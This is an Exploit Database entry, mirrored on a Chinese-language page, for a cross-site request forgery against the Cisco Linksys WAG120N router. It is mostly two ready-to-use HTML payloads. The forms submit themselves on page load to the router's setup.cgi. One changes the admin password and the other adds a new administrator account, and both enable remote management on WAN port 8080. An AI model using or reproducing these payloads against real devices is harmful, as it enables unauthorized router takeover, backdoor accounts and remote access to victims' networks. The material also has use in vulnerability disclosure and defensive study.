Cisco Linksys WAG120N – Cross-Site Request Forgery

Exploit Database
118 阅读

作者： Khashayar Fereidani

日期： 2011-02-26
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/16252/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

----------------------------------------------------------------

Hardware : Linksys Cisco Wag120n(And perhaps similar versions)

Type of vunlnerability : CSRF ( Change Admin Password And Add User )

Risk of use : High

----------------------------------------------------------------

Producer Website : http://linksysbycisco.com

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

Team Website : Http://IRCRASH.COM

Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim

English Forums : Http://IRCRASH.COM/forums/

Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

CSRF For Change Admin Password :

#Use sysPasswd and sysConfirmPasswd to set new password

<html>

<head></head>

<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="1">

<input type="hidden" name="h_user_list" value="1">

<input type="hidden" name="sysname" value="admin">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">

<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="no">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">

</form>

</body>

</html>

----------------------------------------------------------------

CSRF For Add Administrator User:

#Use sysPasswd and sysConfirmPasswd to set new password

#if you add new user you should set pass_is_none=yes

<html>

<head></head>

<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="2">

<input type="hidden" name="h_user_list" value="2">

<input type="hidden" name="sysname" value="ircrash">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">

<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="yes">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">

</form>

</body>

</html>